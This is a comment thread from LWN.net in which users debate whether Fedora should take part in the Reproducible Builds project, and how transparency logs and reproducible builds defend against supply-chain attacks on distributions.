Fedora and supply-chain attacks

Posted Jun 17, 2021 9:15 UTC (Thu) by Foxboron (subscriber, #108330)
Parent article: Fedora and supply-chain attacks

The conclusion hinges on that fact that Fedora is one of the few major distributions which does not take an active part in the Reproducible Builds project. I believe most of the recent work has been done by QubesOS developers without any large investment from the Fedora team itself, it largely died down around 2016-2017 i believe.

If you do provide reproducible builds rekor becomes a natural extension of the infrastructure because you could (in theory) validate the log entries and also query independent rebuilders to gather some consensus what you are download is good or not. Then what do you get? You can record signing events and also sign git repository operations to have a complete view of what went into each repository and the outputs. You can also independently verify each of the produced artifacts.

This would have prevented the recent PHP compromise, among other supply-chain attacks.

As a side-note I did also write a transparency log monitor for the kernel.org repositories. Imagine if we could have this for all F/OSS projects?

https://tlog.linderud.dev/

Fedora and supply-chain attacks

Posted Jun 17, 2021 15:31 UTC (Thu) by amacater (subscriber, #790) [Link] (12 responses)

As you note: it's the stuff that never gets signed that's the problem.

Fedora should take part in the Reproducible Builds project - it would give me a little
more happiness around the way that Fedora is built and the expertise would probably
also help the other distributions. Fedora certainly stands comparison with Debian in
terms of size and degree of difficulty.

Fedora and supply-chain attacks

Posted Jun 18, 2021 12:05 UTC (Fri) by Conan_Kudo (subscriber, #103240) [Link] (11 responses)

Fedora should take part in the Reproducible Builds project - it would give me a little more happiness around the way that Fedora is built and the expertise would probably also help the other distributions. Fedora certainly stands comparison with Debian in terms of size and degree of difficulty.

What do you hope to gain from Fedora participating? Fedora does not have the same problems that Debian has: a lack of build records, a lack of input records, a lack of input trust, a lack of output trust. Fedora already requires upload of sources to a version control system that are checksummed with a cryptographically strong checksum (SHA-512). Those sources are the only sources allowed to be used as build inputs. Additionally, all the build environment inputs are only the things archived in the build system, which those things were built in the system with all the information of how they built was recorded too. Each build in the build system can be replayed exactly with all the inputs that were used the first time, as all the inputs are recorded as metadata in the build system that can actually be used, since all the content to reconstruct the build environment is preserved.

The only thing Fedora isn't actively doing is turning on the flags to squash all the timestamp stuff, which could be done if anyone was interested in doing so, but everyone just complains without stepping up. We already have SOURCE_DATE_EPOCH set on the latest timestamp in the RPM changelog to allow projects to build "reproducibly" when packages are building. There are other "reproducible builds" flags in RPM that aren't turned on yet only because nobody has cared to do something in the face of this information on how Fedora builds work.

Fedora and supply-chain attacks

Posted Jun 18, 2021 13:10 UTC (Fri) by ballombe (subscriber, #9523) [Link] (5 responses)

> Fedora does not have the same problems that Debian has:
... that Debian had before moving to source-only uploads.
I do not see how the situation between Fedora and Debian is different now.

One still have to trust the computers than run the build system.

Fedora and supply-chain attacks

Posted Jun 18, 2021 13:19 UTC (Fri) by Conan_Kudo (subscriber, #103240) [Link] (4 responses)

The Debian build system does not have the kind of capability to replay exact build environments. And there's no reasonable way you can consider the build system servers as non-trusted. Otherwise you'd have to consider the distribution itself as untrusted. That's silly, because you fundamentally have to run everything on the operating system anyway.

Fedora and supply-chain attacks

Posted Jun 18, 2021 15:16 UTC (Fri) by ballombe (subscriber, #9523) [Link]

> The Debian build system does not have the kind of capability to replay exact build environments.

Could you elaborate ? What is missing ?

Fedora and supply-chain attacks

Posted Jun 18, 2021 16:35 UTC (Fri) by mw_skieske (guest, #144003) [Link] (1 responses)

>And there's no reasonable way you can consider the build system servers as non-trusted. Otherwise you'd have to consider the distribution itself as untrusted. That's silly, because you fundamentally have to run everything on the operating system anyway.

This is just not true at all.

Let me give you an example:

Build Systems can get hacked (they are high value targets). So maybe I trust the software which is assembled into an operating system but I don't trust the assembly process? reproducible builds allow me to double check this step, no?

It is also possible, maybe even more likely, that an intruder would _not_ infect the complete fedora infrastructure, because targeted and contained attacks are much more like to be noticed later than a huge range of owned systems for no good reason.

you are imho conflating software sourcecode, a build system, the people and process running the build system, the people maintaining the packages inside fedora and the complete assembled result (fedora images) into one process, which imho is a mistake.

These are all very distinct entitys which sometimes sure do overlap but really are not the same.

These entities have varying personal attack surfaces and security processes implemented.

there are unpaid maintainers, paid maintainers, professionally run infrastructure by paid teams in red hat and a student packaging his own software.

It would be pretty naive imho to all lump this together, when talking about attack surface and threat modelling.

kind regards

Sven

Fedora and supply-chain attacks

Posted Jun 24, 2021 18:40 UTC (Thu) by zuki (subscriber, #41808) [Link]

> there are unpaid maintainers, paid maintainers, professionally run infrastructure by paid teams in red hat and a student packaging his own software.

I generally would love to see an effort for build reproducibility in Fedora, but this comment is essentially wrong. In Fedora, a maintainer (any maintainer), can only instruct the official build system to build a package from "dist-git", i.e. the package version control system. While all packagers push to dist-git, only the official infra managed by (essentially) "paid teams in red hat" is what actually builds the packages. For reproducible builds, we would record the inputs to the package builds and the build results, so build reproducibility would cover the part where already only this very small group of infra team members has access.

Actually we already record the inputs (every build must correspond to exactly one commit in dist-git and commits from which builds were made are forever public, and the exact list of packages used during build is recorded), and the outputs are recorded too (any build artifacts which were ever officially distributed are available). For Fedora, build reproducibility would mean that we would make an effort to make the builds bit-for-bit repeatable and maybe provide the build metadata (which is already being recorded) in a more standarized format. A "student packaging their own software" would have a much input to this system as they have now.

Fedora and supply-chain attacks

Posted Jun 19, 2021 11:20 UTC (Sat) by Foxboron (subscriber, #108330) [Link]

>The Debian build system does not have the kind of capability to replay exact build environments.

That is not true. Debian saves buildinfo files which can be used to replay exact build environments. And it works! My master thesis was all about rebuilding Debian packages for bit-by-bit identical packages using `srebuild` and stuffing them into a transparency log.

https://salsa.debian.org/reproducible-builds/debian-rebui...
https://manpages.debian.org/testing/dpkg-dev/deb-buildinf...

Fedora and supply-chain attacks

Posted Jun 18, 2021 13:32 UTC (Fri) by amacater (subscriber, #790) [Link] (2 responses)

And Fedora and Red Hat have had their signing keys compromised in the past - https://lwn.net/Articles/295134/ - so the fundamental problems still apply. The Reproducible Builds project does some good and useful stuff: even running things past differing compilers and build chains is useful.

Fedora and supply-chain attacks

Posted Jun 18, 2021 13:35 UTC (Fri) by rahulsundaram (subscriber, #21946) [Link] (1 responses)

> And Fedora and Red Hat have had their signing keys compromised in the past - https://lwn.net/Articles/295134/

Hmm. That's not what the announcement says.

Fedora and supply-chain attacks

Posted Jun 18, 2021 13:43 UTC (Fri) by amacater (subscriber, #790) [Link]

Indeed: apologies - I didn't get the opportunity to edit it - I should have said - had their servers compromised which forced a revocation and reissue of signing keys as a precaution. Notably, at the time, I don't think anybody ever heard anything further about what if anything was the cause/outcome at Red Hat.

Fedora and supply-chain attacks

Posted Jun 18, 2021 17:56 UTC (Fri) by Cyberax (✭ supporter ✭, #52523) [Link]

> What do you hope to gain from Fedora participating? Fedora does not have the same problems that Debian has
Just imagine that Fedora build hosts are infected with malware that inserts itself into compiled binaries. How would you detect it?

Fedora and supply-chain attacks

Posted Jun 18, 2021 20:30 UTC (Fri) by alogghe (guest, #6661) [Link]

What is the Fedora version of -

https://guix.gnu.org/manual/en/html_node/Invoking-guix-ch...

That's a pretty great artifact of a reproducible build system that the end user has full access to...

Fedora and supply-chain attacks

Posted Jun 17, 2021 15:40 UTC (Thu) by smoogen (subscriber, #97) [Link] (2 responses)

In this case, I don't think reproducible builds or rekor are really helping supply chain attacks.. The general attack point for supply chains is the source code and not the binaries as the problem is my taking over someone's github, or getting upload rights to pypy/cpan/npm/etc. In that case I may even want you to reproduce exactly the malware I inserted because it will make chain attacks easier.

[I am not against reproducible builds but in this case, if I were a malefactor I would use it for my advantage versus be worried about it stopping me.]

Fedora and supply-chain attacks

Posted Jun 17, 2021 17:29 UTC (Thu) by Foxboron (subscriber, #108330) [Link] (1 responses)

>The general attack point for supply chains is the source code and not the binaries as the problem is my taking over someone's github, or getting upload rights to pypy/cpan/npm/etc.

Citation needed. Most prominent attacks, even the one mentioned in this article, are attacks at the distribution site, not source code repositories. Solarwinds would have been countered by reproducible builds. Same with Linux Mint getting their ISOs compromised a few years ago.

Pypy, cpan and npm are also independent of the forge. If you can reproduce the expected tarball then any attacks towards these can be detected. This means most of the "subversive tarball" compromises you have seen from NPM would be addressed by reproducible builds.

But lets ignore that and just address the argument :)

Transparency Logs and Reproducible Builds compliment each other. Each of these things separately deals with different aspects of the supply-chain. But you are also moving the goal post, which is easy to do. Let me help you!

Even if you *do* secure the source-code repositories, how do you protect against a subversive compilers? Trusting trust attacks are not covered by neither reproducible builds, transparency logs or a secure source-code repository. They sit one level below.

Does this mean we should ignore all the other challenges and focus on this one problem? Not at all! We should address each of these issues as any one of these improvements do give you a more secure ecosystem, even if just a tiny bit.

(And before someone starts mentioning subversive compilers I do recommend reading up on what the community has been capable of achieving with the GNU Mes C compiler, https://dwheeler.com/trusting-trust/#real-world. We are close to actually being able to address large parts of the chain.)

Fedora and supply-chain attacks

Posted Jun 18, 2021 12:11 UTC (Fri) by Conan_Kudo (subscriber, #103240) [Link]

Citation needed. Most prominent attacks, even the one mentioned in this article, are attacks at the distribution site, not source code repositories. Solarwinds would have been countered by reproducible builds. Same with Linux Mint getting their ISOs compromised a few years ago.

Most compromises are in source-based "distribution centers" (PyPI, NPM, Packagist, etc.). It's relatively rare for binary ones to be successfully attacked, because those are usually better defended with integrity checks and such.